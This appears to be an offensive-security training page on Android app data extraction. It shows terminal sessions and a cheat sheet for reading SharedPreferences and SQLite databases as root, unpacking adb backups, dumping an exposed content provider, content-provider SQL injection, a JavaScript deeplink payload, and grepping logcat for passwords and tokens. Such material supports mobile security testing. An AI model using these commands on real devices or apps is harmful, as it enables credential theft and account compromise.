



◆ OFFENSIVE SECURITY SERIES ◆

ANDROID DATA STORAGE & IPC

SQLite, SharedPrefs, ADB Backup, Content Providers & Deeplinks

SQLite · SharedPrefs · ADB Backup · Content Provider · Deep Links · Logcat

SQLite Dump

SharedPrefs

ADB Backup

Content Provider

Broadcasts

Deeplinks

Logcat

RedTeamGarage (RTG) | Offensive Security Education

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01 — STORAGE EXTRACTION

SharedPreferences & SQLite

```

SharedPreferences + SQLite Credential Extraction

# Read SharedPreferences – look for sensitive data
(kali)-[~]
kali $ adb shell su -c "cat /data/data/com.target.bankingapp/shared_prefs/user_prefs.xml"
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
  <string name="auth_token">eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJlc2VyXzEyMyJ9.SIG</string>
  <string name="user_email">john.doe@target.com</string>
  <string name="user_password">BankPass2024!</string>
  <string name="pin_hash">81dc9bdb52d04dc20036dbd8313ed055</string>
</map>

# Pull and query SQLite database
(kali)-[~]
kali $ adb shell su -c "cp /data/data/com.target.bankingapp/databases/banking.db /sdcard/" && adb pull /sdcard/banking.db .
banking.db: 1 file pulled, 0 skipped. 12.3 MB/s (32768 bytes in 0.003s)

(kali)-[~]
kali $ sqlite3 banking.db ".tables"
accounts sessions transactions users

(kali)-[~]
kali $ sqlite3 banking.db "SELECT username, password, account_number, balance FROM users;"
john.doe@target.com|BankPass2024!|ACC-12345678|15230.50
jane.smith@target.com|Password123!|ACC-87654321|8942.00
admin@target.com|AdminP@ss!|ACC-00000001|999999.99
  
```

Figure: SharedPreferences stores plaintext password, SQLite banking.db has all user credentials



02 — ADB BACKUP & IPC

Backup, Provider & Deeplink

```
ADB Backup + Content Provider + Deeplink Tests

# ADB backup exploitation (allowBackup=true)
(kali)-[~]
kali $ adb backup -f backup.ab -apk -noshared com.target.bankingapp
Now unlock your device and confirm the backup operation...

(kali)-[~]
kali $ java -jar abe.jar unpack backup.ab backup.tar && tar xvf backup.tar
apps/com.target.bankingapp/db/banking.db
apps/com.target.bankingapp/sp/user_prefs.xml
apps/com.target.bankingapp/f/cache/api_responses.json

# Content provider injection test
(kali)-[~]
kali $ adb shell content query --uri content://com.target.bankingapp.provider/users
Row: 0 id=1, username=john.doe@target.com, password=BankPass2024!, role=user
Row: 1 id=2, username=admin@target.com, password=AdminP@ss!, role=admin

# Deep link injection test
(kali)-[~]
kali $ adb shell am start -a android.intent.action.VIEW -d "banking://webview?url=javascript:alert(document.cookie)"
Starting: Intent { act=android.intent.action.VIEW dat=banking://webview?url=javascript:alert(document.cookie)
}
WARNING: linker: libdvm.so has text relocations.
```

Figure: Backup exposes all app data, content provider returns credentials, deeplink executes JS



03 — CHEAT SHEET

Quick Reference

Read SharedPreferences	<code>adb shell su -c "cat /data/data/com.pkg/shared_prefs/*.xml"</code>
Copy database	<code>adb shell su -c "cp /data/data/com.pkg/databases/app.db /sdcard/" && adb pull /sdcard/app.db</code>
SQLite tables	<code>sqlite3 app.db ".tables"</code>
SQLite dump	<code>sqlite3 app.db "SELECT * FROM users;"</code>
ADB backup	<code>adb backup -f backup.ab -apk com.pkg.name</code>
Unpack backup	<code>java -jar abe.jar unpack backup.ab backup.tar && tar xvf backup.tar</code>
Query content provider	<code>adb shell content query --uri content://com.pkg.provider/users</code>
Content provider SQLi	<code>adb shell content query --uri content://com.pkg.provider/users --where "id=1 OR 1=1"</code>
Send broadcast	<code>adb shell am broadcast -a com.pkg.name.ACTION --es key value</code>
Test deeplink	<code>adb shell am start -a android.intent.action.VIEW -d "target://path?param=test"</code>
Logcat secrets	<code>adb logcat grep -iE "password token secret bearer"</code>
External storage	<code>adb shell find /sdcard/ -name "*.db" -o -name "*.json" 2>/dev/null</code>
Drozer attack surface	<code>dz> run app.package.attacksurface com.pkg.name</code>
Drozer providers	<code>dz> run app.provider.info -a com.pkg.name</code>
WebView cache	<code>adb shell su -c "strings /data/data/com.pkg/app_webview/Default/Cache/data_0" grep -i "token password"</code>



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